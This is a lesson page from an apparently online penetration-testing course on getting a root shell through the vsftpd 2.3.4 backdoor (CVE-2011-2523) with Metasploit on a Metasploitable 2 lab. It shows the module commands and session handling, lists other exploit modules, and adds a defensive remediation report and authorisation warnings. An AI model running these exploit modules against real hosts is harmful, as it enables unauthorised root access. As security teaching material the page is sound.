Ravindra BagaleCourses & study guides मराठी Track your progress

23. Exploitation with Metasploit

23.4 Running an Exploit and Getting a Session

By Last updated: 

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
msf6 exploit(...) > exploit
[*] 192.168.56.20:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.56.20:21 - Backdoor service has been spawned...
[*] Command shell session 1 opened

You now have a shell session. Basic session handling:

id                          # run a command in the session (you are usually root here)
^Z                          # background the session (or 'background')
msf6 > sessions             # list active sessions
msf6 > sessions -i 1        # interact with session 1 again
msf6 > sessions -K          # kill all sessions when done

Other classic Metasploitable 2 practice modules (all lab only): exploit/multi/samba/usermap_script (Samba), exploit/unix/irc/unreal_ircd_3281_backdoor (UnrealIRCd), exploit/multi/http/php_cgi_arg_injection.

Snapshot first, restore after

Exploits can leave a service broken. This is exactly why you took a clean snapshot – restore it after practice so the lab stays in a known state.

Ravindra Bagale's Tip

As soon as they get a session, students start wandering everywhere. First run id and hostname to confirm where you are and who you are. When the work is done, close it with sessions -K; forgetting open sessions is a mistake.

Lab

Exploit the vsftpd backdoor on Metasploitable 2, run id and hostname in the shell to confirm you are root, background the session, list it with sessions, then kill it with sessions -K. Restore your snapshot afterwards.

After a lab shell: the defensive report

Getting a session on Metasploitable is not the goal. The goal is a paragraph you could give an owner:

Finding: vsftpd 2.3.4 backdoor (CVE-2011-2523)
Impact: remote shell as root on the FTP host
Fix: remove vsftpd 2.3.4; use SFTP with key auth; do not expose FTP to the internet
Verified: package removed, port 21 closed, re-scan clean

Everyday analogy

A fire drill is not about enjoying the alarm. It is about proving the exits work.

Recap

  • Every lab exploit ends with a written fix.
  • Never against systems you do not own.

Defender's worksheet (do this today)

  1. Write the lesson title and date in your notebook.
  2. List three systems you own (VMs, personal projects, or lab apps) where this lesson applies.
  3. Run one safe command or checklist item from the lesson on a lab system only.
  4. Paste the command and its output under an Evidence heading.
  5. Write one fix you would give a teammate in two sentences.
  6. Write one mistake students make with this topic and how to avoid it.

More real-world pictures

Indian workplace (sample data)

Suppose we are a junior analyst at Tech Mahindra supporting a client SOC. After reading this lesson you add one detection or one hardening item to the team weekly checklist, with the owner name and a due date. That is how learning becomes operations.

Global practice

Public bodies such as CERT-In (India), CISA (US) and NCSC (UK) publish advisories that map to the same ideas: patch, least privilege, logging and user awareness. Bookmark one advisory feed and read it every Monday.

Home and family

Explain this lesson to a family member in four sentences without jargon. If they can repeat the main warning back to you, you understand it well enough to teach.

Connect to earlier chapters

Parts 1 to 9 built Linux, web servers, databases and cloud pieces. This lesson only makes sense when you can point to a concrete config file, package name or architecture box from those parts. If you cannot, revisit the matching earlier chapter before you practise any tool command.

Common mistakes

  • Skipping written permission just for a quick scan.
  • Practising on hostel or office Wi-Fi targets without authorisation.
  • Collecting tool output without writing the fix.
  • Copying exploit commands onto production to verify. Verification for defenders means checking versions and patches, not firing modules.

Recap

  • Evidence, fix, owner, date.
  • Own lab only.
  • Teach one other person the warning from this lesson.